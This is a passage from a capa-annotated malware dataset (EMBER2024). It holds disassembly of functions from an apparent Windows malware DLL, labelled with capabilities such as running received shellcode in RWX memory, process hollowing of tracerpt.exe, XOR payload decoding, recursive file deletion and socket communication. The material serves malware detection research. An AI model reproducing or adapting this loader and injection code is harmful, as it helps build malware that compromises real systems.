joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800047f0
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov eax, dword [rdx + 0x14]
mov rbx, rcx
test eax, eax
je 0x180004820
mov dword [rcx + 0x50], eax
mov dword [rcx + 0x48], 1
mov dword [rcx + 0x4c], 2
xor eax, eax
mov dword [rcx + 0x54], 1
add rsp, 0x20
pop rbx
ret
mov rdx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x58]
mov r8d, 0x23
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x18000485f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rbx + 0x48], 1
mov dword [rbx + 0x4c], 2
mov dword [rbx + 0x50], eax
xor eax, eax
mov dword [rbx + 0x54], 1
add rsp, 0x20
pop rbx
ret
mov dword [rbx + 0x88], 1
lea r9, [rbx + 0x220]
lea rcx, [rbx + 0x268]
mov r8, rbx
mov rdx, rbx
mov qword [rsp + 0x30], rdi
mov dword [rbx + 0x8c], 1
call fcn.180005d40
mov rcx, qword [rbx + 0x58]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor edi, edi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1800048ba
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
cmove eax, edi
mov edi, eax
mov rcx, qword [rbx + 0x68]
call fcn.1800031f0
test edi, edi
mov rdi, qword [rsp + 0x30]
je 0x1800048d7
mov ecx, 0x80004005
call fcn.180001220
int3
mov eax, 1
add rsp, 0x20
pop rbx
ret

Function at 0x1800048f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rdi
sub rsp, 0x30
mov rbx, rcx
lea rbp, [0x180036760]
nop dword [rax]
mov rdx, qword [rbx + 0xa0]
mov rcx, qword [rbx + 0x58]
xor r9d, r9d
mov r8d, 0x598
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test eax, eax
jle 0x1800049a9
cmp eax, 0x10
jne 0x18000495c
mov rax, qword [rbx + 0xa0]
mov rdx, qword [rax]
cmp rdx, qword [rbp]
jne 0x180004953
mov rdx, qword [rax + 8]
cmp rdx, qword [rbp + 8]
jne 0x180004953
xor eax, eax
jmp 0x180004958
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1800049db
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r11d, dword [rbx + 0x244]
mov rdx, qword [rbx + 0xa0]
lea rcx, [rbx + 0x268]
cmp edi, 0x18
jl 0x180004994
mov r9, qword [rbx + 0x250]
mov r8d, edi
mov dword [rsp + 0x20], r11d
call fcn.180006390
jmp 0x18000499e
cmp edi, 0xc
jne 0x180004a03
call fcn.180006200
cmp eax, 2
jne 0x180004910
jmp 0x180004a0e
cmp eax, 0xffffffff
jne 0x180004910
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x180004a51
cmp eax, 0x2744
je 0x180004910
cmp eax, 0x2746
je 0x180004910
jmp 0x180004a27
mov dword [rbx + 0x48], 1
mov qword [rbx + 0x4c], 5
mov dword [rbx + 0x54], 0
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov ecx, recv
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rcx, qword [rbx + 0x68]
call fcn.1800031f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x4c7
test eax, eax
cmove eax, ecx
mov dword [rbx + 0x48], 1
mov dword [rbx + 0x4c], 4
mov dword [rbx + 0x50], eax
mov dword [rbx + 0x54], 1
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov eax, 1
add rsp, 0x30
pop rdi
ret
Function at 0x180004a70
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbp, rcx
lea rdi, [rcx + 0xb8]
call fcn.180004c70
mov rsi, rax
test rax, rax
je 0x180004b88
nop word [rax + rax]
mov r8d, dword [rsi + 0x30]
mov rdx, qword [rsi + 0x28]
mov rcx, qword [rbp + 0x58]
sub r8d, dword [rsi + 0x28]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov r12d, eax
test eax, eax
jle 0x180004af3
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [rbp + 0x218], r12d
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x180004afc
cmp eax, 0xffffffff
je 0x180004bb4
cmp qword [rdi + 0x38], 0
je 0x180004b5c
xor r9d, r9d
cmp dword [rdi + 0x30], r9d
jbe 0x180004b5c
nop dword [rax]
mov r8d, dword [rdi + 0x78]
mov eax, dword [rdi + 0xb8]
mov r10d, dword [rdi + 0x30]
mov ecx, r8d
sub ecx, eax
cmp ecx, r10d
jge 0x180004b5c
xor edx, edx
mov eax, r8d
div r10d
mov ecx, edx
mov rdx, qword [rdi + 0x38]
cmp qword [rdx + rcx*8], 0
jne 0x180004b47
xor eax, eax
lock cmpxchg qword [rdx + rcx*8], rsi
je 0x180004ba6
lea ecx, [r8 + 1]
mov eax, r8d
lock cmpxchg dword [rdi + 0x78], ecx
inc r9d
cmp r9d, dword [rdi + 0x30]
jb 0x180004b10
mov rcx, qword [rsi]
mov r8, rsi
xor edx, edx
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbp
lea rdi, [rbp + 0xb8]
call fcn.180004c70
mov rsi, rax
test rax, rax
jne 0x180004ab0
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
lea ecx, [r8 + 1]
mov eax, r8d
lock cmpxchg dword [rdi + 0x78], ecx
jmp 0x180004b6d
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x180004c21
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rbp + 0x1e8]
test rax, rax
je 0x180004beb
mov qword [rax + 0x10], rsi
mov rax, qword [rbp + 0x1e8]
mov qword [rsi + 8], rax
jmp 0x180004c02
mov qword [rsi + 0x10], 0
mov qword [rsi + 8], 0
mov qword [rbp + 0x1f0], rsi
inc dword [rbp + 0x1e0]
lea rcx, [rbp + 0x1b8]
mov qword [rbp + 0x1e8], rsi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x180004b88
lea rcx, [rdi + 0x30]
mov rdx, rsi
mov dword [rbp + 0x48], 1
mov dword [rbp + 0x4c], 3
mov dword [rbp + 0x50], eax
mov dword [rbp + 0x54], 1
call fcn.1800015c0
test eax, eax
jne 0x180004c5a
mov rcx, qword [rsi]
mov r8, rsi
xor edx, edx
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
jmp 0x180004b8d
Function at 0x180004d20
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, rbx
mov edi, eax
call fcn.180004100
test eax, eax
jne 0x180004d4c
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, edi
mov rcx, rbx
call fcn.180004f40
mov eax, dword [rbx + 0x88]
xor edi, edi
test eax, eax
je 0x180004d85
cmp dword [rbx + 0x54], edi
je 0x180004d7f
mov rcx, qword [rbx + 0x58]
lea r8d, [rdi + 0x10]
lea rdx, [0x180036760]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbx + 0x88], edi
cmp dword [rbx + 0x48], edi
je 0x180004da2
mov rcx, qword [rbx + 0x68]
call fcn.1800031f0
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, edi
xchg dword [rbx + 0x20], eax
mov rcx, qword [rbx + 0x60]
test rcx, rcx
je 0x180004db5
call qword [sym.imp.WS2_32.dll_WSACloseEvent]
mov qword [rbx + 0x60], rdi
mov rcx, qword [rbx + 0x58]
cmp rcx, 0xffffffffffffffff
je 0x180004ddc
mov edx, 1
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x58]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rbx + 0x58], 0xffffffffffffffff
mov rcx, rbx
call fcn.180004e00
mov rbx, qword [rsp + 0x30]
mov eax, 1
add rsp, 0x20
pop rdi
ret

Function at 0x1800052f0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rbx, rcx
mov rcx, qword [rcx + 8]
mov edi, r8d
mov rsi, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rbx + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.WINMM.dll_timeGetTime]
mov dword [rbx + 0x1c], eax
xor eax, eax
xchg dword [rbx + 0x20], eax
xor eax, eax
mov qword [rbx + 0x30], rax
mov word [rbx + 0x38], ax
mov rax, qword [rbx + 0x1c]
mov qword [rbx + 0x30], rax
mov eax, dword [rbx + 0x8c]
mov byte [rbx + 0x38], 0xca
cmp eax, 3
je 0x180005356
mov rcx, rbx
call fcn.180004d20
movzx r8d, di
mov rdx, rsi
mov rcx, rbx
call fcn.180003f10
mov rcx, qword [rbx + 0x358]
mov edx, 0x1770
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1800053a6
cmp eax, 0x102
je 0x180005387
cmp eax, 0xffffffff
jne 0x180005394
mov rcx, qword [rbx + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov eax, 1
xchg dword [rbx + 0x20], eax
mov rcx, qword [rbx + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea r11, [rsp + 0x40]
lea r8, [0x180005400]
mov qword [rsp + 0x28], r11
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call fcn.180018168
mov rsi, qword [rsp + 0x50]
mov qword [rbx + 0x360], rax
mov rbx, qword [rsp + 0x48]
mov al, 1
add rsp, 0x30
pop rdi
ret
Function at 0x180005550
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov esi, r8d
mov r12, rdx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rdi + 0x14], eax
je 0x180005593
nop dword [rax]
mov r9d, 1
xchg dword [rdi + 0x10], r9d
cmp r9d, 1
je 0x180005580
mov dword [rdi + 0x14], eax
inc dword [rdi + 0x18]
xor r13d, r13d
lea ebp, [rsi + 0xe]
cmp qword [rdi + 0x340], r13
jne 0x1800055aa
mov edx, r13d
jmp 0x1800055b6
mov edx, dword [rdi + 0x348]
sub edx, dword [rdi + 0x340]
lea rcx, [rdi + 0x338]
add edx, 4
call fcn.180001080
mov rax, qword [rdi + 0x348]
mov dword [rax], ebp
add qword [rdi + 0x348], 4
cmp qword [rdi + 0x340], r13
jne 0x1800055e4
mov edx, r13d
jmp 0x1800055f0
mov edx, dword [rdi + 0x348]
sub edx, dword [rdi + 0x340]
lea rcx, [rdi + 0x338]
add edx, 0xa
call fcn.180001080
mov rax, qword [rdi + 0x30]
mov rcx, qword [rdi + 0x348]
mov qword [rcx], rax
movzx eax, word [rdi + 0x38]
mov word [rcx + 8], ax
add qword [rdi + 0x348], 0xa
cmp qword [rdi + 0x340], r13
jne 0x18000562b
mov eax, r13d
jmp 0x180005637
mov eax, dword [rdi + 0x348]
sub eax, dword [rdi + 0x340]
lea edx, [rax + rsi]
lea rcx, [rdi + 0x338]
call fcn.180001080
mov rcx, qword [rdi + 0x348]
mov r8, rsi
mov rdx, r12
call fcn.180017720
mov r11d, r13d
mov r9, r13
mov r10, r13
test esi, esi
jle 0x1800056c2
nop word [rax + rax]
movzx ecx, byte [rdi + r9 + 0x30]
mov r8, qword [rdi + 0x348]
inc r9
mov eax, 0x20f30021
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0xcccccccd
imul edx, edx, 0x7c5
sub ecx, edx
mul r11d
add cl, 0x36
xor byte [r10 + r8], cl
shr edx, 3
lea ecx, [rdx + rdx*4]
add ecx, ecx
cmp r11d, ecx
cmove r9, r13
inc r11d
inc r10
cmp r11d, esi
jl 0x180005670
add qword [rdi + 0x348], rsi
cmp qword [rdi + 0x340], r13
jne 0x1800056d7
mov r8d, r13d
jmp 0x1800056e5
mov r8d, dword [rdi + 0x348]
sub r8d, dword [rdi + 0x340]
mov rdx, qword [rdi + 0x340]
mov rcx, rdi
call fcn.180005750
mov r11, qword [rdi + 0x340]
lea rcx, [rdi + 0x338]
mov edx, 0x400
mov qword [rdi + 0x348], r11
call fcn.180001140
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [rdi + 0x14]
mov eax, 1
jne 0x18000572c
dec dword [rdi + 0x18]
jne 0x18000572c
mov qword [rdi + 0x10], r13
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x180007000
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0xa80
cmp byte [rdx], 0xc9
mov rdi, rdx
mov rbx, rcx
je 0x1800071fa
cmp r8d, 0x65
jne 0x180007179
lea rax, [rdx + 1]
lea r8, [0x18007b78c]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x180007048
add rax, 2
test ecx, ecx
jne 0x180007034
xor edi, edi
test edx, edx
je 0x1800071c6
mov eax, 0x767b
lea rcx, [rsp + 0x4e]
xor edx, edx
mov word [rsp + 0x34], ax
mov eax, 0x5f55
mov r8d, 0x1e4
mov word [rsp + 0x36], ax
mov eax, 0x6a21
mov qword [rsp + 0xa90], rsi
mov word [rsp + 0x38], ax
mov eax, 0x5757
mov dword [rsp + 0x30], edi
mov word [rsp + 0x3a], ax
mov eax, 0x5f
lea esi, [rdi + 0x64]
mov word [rsp + 0x44], ax
mov eax, 0x62
mov dword [rsp + 0x3c], 0x64002e
mov word [rsp + 0x46], ax
mov eax, 0x69
mov dword [rsp + 0x40], 0x6c006c
mov word [rsp + 0x48], ax
mov dword [rsp + 0x4a], WSAStartup
call fcn.18001b160
xor r11d, r11d
lea rcx, [rsp + 0x23c]
mov r8d, esi
xor edx, edx
mov qword [rsp + 0x234], 1
mov word [rsp + 0x232], r11w
call fcn.18001b160
lea rcx, [rsp + 0x2a0]
xor edx, edx
mov r8d, 0x7d0
call fcn.18001b160
xor r11d, r11d
mov ecx, 0xa45
mov dword [rsp + 0xa70], r11d
call fcn.180014534
lea rdx, [rsp + 0x30]
lea rcx, [rax + 1]
mov r8d, 0xa44
mov rdi, rax
mov byte [rax], 5
call fcn.180017720
cmp dword [rbx + 0x10], 0
mov rsi, qword [rsp + 0xa90]
jne 0x180007161
mov rcx, qword [rbx + 8]
mov r8d, 0xa45
mov rdx, rdi
mov r9, qword [rcx]
call qword [r9 + reloc.WS2_32.dll_recv]
mov rcx, rdi
mov rbx, qword [rsp + 0xa98]
add rsp, 0xa80
pop rdi
jmp fcn.1800176d4
lea rcx, [0x18007b580]
inc rdx
mov r8d, 0xa44
call fcn.180017720
movsxd rdx, dword [0x18007b788]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movsxd r8, dword [0x18007b788]
lea rdx, [rdi + 0xa45]
mov rcx, rax
mov qword [0x18007b570], rax
call fcn.180017720
xor edi, edi
lea r8, [0x180006e30]
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
call fcn.180018168
mov ecx, 0xbb8
mov qword [rbx + 0x30], rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax]
mov rbx, qword [rsp + 0xa98]
add rsp, 0xa80
pop rdi
ret
Function at 0x180007210
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get common file path
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r12
sub rsp, 0x6a0
mov rax, qword [0x18003fb50]
xor rax, rsp
mov qword [rsp + 0x690], rax
mov rbp, qword [0x18007b570]
mov rbx, rdx
xor edx, edx
movsxd rdi, ecx
lea rcx, [rsp + 0x50]
lea r8d, [rdx + 0x68]
call fcn.18001b160
xor r11d, r11d
lea rcx, [rsp + 0xc0]
mov qword [rbx], r11
mov qword [rbx + 8], r11
xor edx, edx
mov r8d, 0x4d0
mov qword [rbx + 0x10], r11
call fcn.18001b160
xor r12d, r12d
lea rcx, [rsp + 0x591]
xor edx, edx
mov r8d, 0xfe
mov dword [rsp + 0x50], WSAGetLastError
mov dword [rsp + 0x8c], 1
mov word [rsp + 0x90], r12w
mov byte [rsp + 0x590], r12b
call fcn.18001b160
lea rcx, [rsp + 0x590]
mov edx, 0xff
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r9, str.WindowsSystem32_tracerpt.exe
lea r8, [rsp + 0x590]
lea rdx, str._s_s
lea rcx, [rsp + 0x590]
mov byte [rsp + 0x593], r12b
call fcn.1800074a0
mov qword [rsp + 0x48], rbx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea rcx, [rsp + 0x590]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1800073d4
mov rcx, qword [rbx]
mov r9d, 0x3000
mov r8, rdi
xor edx, edx
mov qword [rsp + 0x6d0], rsi
mov dword [rsp + 0x20], 0x40
mov rsi, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x1800073b9
mov rcx, qword [rbx]
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800073b9
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0xc0]
mov dword [rsp + 0xf0], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1800073b9
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0xc0]
mov qword [rsp + 0x1b8], rdi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1800073bd
xor eax, eax
jmp 0x1800073cc
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov rsi, qword [rsp + 0x6d0]
mov rcx, qword [rsp + 0x690]
xor rcx, rsp
call fcn.1800176f0
mov rbx, qword [rsp + 0x6d8]
add rsp, 0x6a0
pop r12
pop rdi
pop rbp
ret
Function at 0x180009c10
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x5d0]
sub rsp, 0x6d0
mov rax, qword [0x18003fb50]
xor rax, rsp
mov qword [rbp + 0x5c0], rax
mov rbx, rcx
lea rcx, [rbp + 0x3b0]
xor edx, edx
mov r8d, 0x208
call fcn.18001b160
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdi, [0x180036a70]
lea rdx, [rbp + 0x190]
movsxd rcx, eax
lea rax, [0x180036858]
mov r8, rbx
cmp word [rbx + rcx*2 - 2], 0x5c
lea rcx, [rbp + 0x3b0]
mov dword [rbp + 0x190], 0x730025
cmove rdi, rax
mov dword [rbp + 0x194], 0x730025
mov dword [rbp + 0x198], 0x2e002a
mov r9, rdi
mov dword [rbp + 0x19c], 0x2a
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x180009cdf
xor al, al
jmp 0x180009d9c
xor eax, eax
mov dword [rbp + 0x180], 0x730025
mov dword [rbp + 0x184], 0x730025
mov word [rbp + 0x18c], ax
mov dword [rbp + 0x188], 0x730025
cmp word [rsp + 0x5c], 0x2e
je 0x180009d73
test byte [rsp + 0x30], 0x10
lea rax, [rsp + 0x5c]
mov r9, rdi
mov r8, rbx
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x1a0]
mov qword [rsp + 0x20], rax
je 0x180009d47
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x1a0]
call fcn.180009c10
jmp 0x180009d73
call qword [sym.imp.USER32.dll_wsprintfW]
test byte [rsp + 0x30], 1
je 0x180009d66
lea rcx, [rbp + 0x1a0]
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180009d06
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
setne al
mov rcx, qword [rbp + 0x5c0]
xor rcx, rsp
call fcn.1800176f0
lea r11, [rsp + 0x6d0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x18000b310
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov r11d, dword [reloc.WS2_32.dll_htons]
xor ebx, ebx
lea r10, [0x180040ef0]
mov r9d, ebx
mov r8d, ebx
lea rdi, str.anonymous
nop word [rax + rax]
movsx ecx, byte [r8 + rdi]
mov eax, 0x4ac525d3
inc r8
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
imul edx, edx, 0x6d9
sub ecx, edx
cdq
add cl, 0x4f
xor byte [r10], cl
idiv r11d
test edx, edx
cmove r8, rbx
inc r9d
inc r10
cmp r9d, 0xbfc
jl 0x18000b340
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret
Function at 0x18000b830
Capabilities:
Create directory

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov qword [rbp - 0x49], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x18003fb50]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rdi, rdx
mov rsi, rcx
mov qword [rbp - 1], 7
xor r12d, r12d
mov qword [rbp - 9], r12
mov word [rbp - 0x19], r12w
xor ecx, ecx
call fcn.18001a0f8
mov rcx, rax
call fcn.180019c58
lea ebx, [r12 + 8]
nop
call fcn.180019c70
mov r11d, eax
mov eax, 0x4ec4ec4f
imul r11d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x1a
sub r11d, edx
lea edx, [r11 + 0x61]
lea rcx, [rbp - 0x19]
call fcn.18000ea90
dec rbx
jne 0x18000b890
lea r8, [0x180036a70]
mov rdx, rsi
lea rcx, [rbp + 0xf]
call fcn.1800122b0
nop
lea r8, [rbp - 0x19]
mov rdx, rax
lea rcx, [rbp - 0x41]
call fcn.180012390
nop
cmp qword [rbp + 0x27], 8
jb 0x18000b8f7
mov rcx, qword [rbp + 0xf]
call fcn.1800176d4
mov qword [rbp + 0x27], 7
mov qword [rbp + 0x1f], r12
mov word [rbp + 0xf], r12w
lea rcx, [rbp - 0x41]
cmp qword [rbp - 0x29], 8
cmovae rcx, qword [rbp - 0x41]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x18000b96e
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rbp - 0x41]
mov rcx, rdi
call fcn.1800067f0
nop
cmp qword [rbp - 0x29], 8
jb 0x18000b946
mov rcx, qword [rbp - 0x41]
call fcn.1800176d4
mov qword [rbp - 0x29], 7
mov qword [rbp - 0x31], r12
mov word [rbp - 0x41], r12w
cmp qword [rbp - 1], 8
jb 0x18000b967
mov rcx, qword [rbp - 0x19]
call fcn.1800176d4
mov al, 1
jmp 0x18000ba19
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rcx, str.Failed_to_create_directory._Error_code:
call fcn.180012540
mov rcx, rax
mov edx, ebx
call fcn.18000cda0
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.18000cf80
mov ebx, r12d
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x18000b9c0
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove ebx, ecx
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x18000b9e6
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x18000b9dd
or edx, 4
xor r8d, r8d
call fcn.180007a70
nop
cmp qword [rbp - 0x29], 8
jb 0x18000b9f6
mov rcx, qword [rbp - 0x41]
call fcn.1800176d4
mov qword [rbp - 0x29], 7
mov qword [rbp - 0x31], r12
mov word [rbp - 0x41], r12w
cmp qword [rbp - 1], 8
jb 0x18000ba17
mov rcx, qword [rbp - 0x19]
call fcn.1800176d4
xor al, al
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1800176f0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x18000cb50
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x18000cbb4
cmp qword [0x18007d710], 0
jne 0x18000cbb4
lea rcx, str.xiugaishiyong
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x1e
jle 0x18000cbb4
call fcn.180008f00
cmp dword [0x18007cd00], 0
je 0x18000cbb4
xor eax, eax
lea r8, [0x18000c810]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x18007d710], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
add rsp, 0x38
ret

Function at 0x18000cbc0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp qword [0x18007d710], 0
jne 0x18000cc14
call fcn.180008f00
xor r11d, r11d
lea r8, [0x18000c810]
mov qword [rsp + 0x28], r11
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r11d
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x18007d710], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x18007d710]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x38
ret

Function at 0x18000cc20
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
cmp qword [0x18007d710], 0
mov rbx, rcx
jne 0x18000cc95
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, str.xiugaishiyong
mov rdx, rbx
lea eax, [rax + rax + 2]
movsxd r8, eax
call fcn.180017720
call fcn.180008f00
xor r11d, r11d
mov qword [rsp + 0x28], r11
lea r8, [0x18000c810]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r11d
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x18007d710], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x18007d710]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x30
pop rbx
ret

Function at 0x18000cca0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
lea r8, [0x18000c810]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
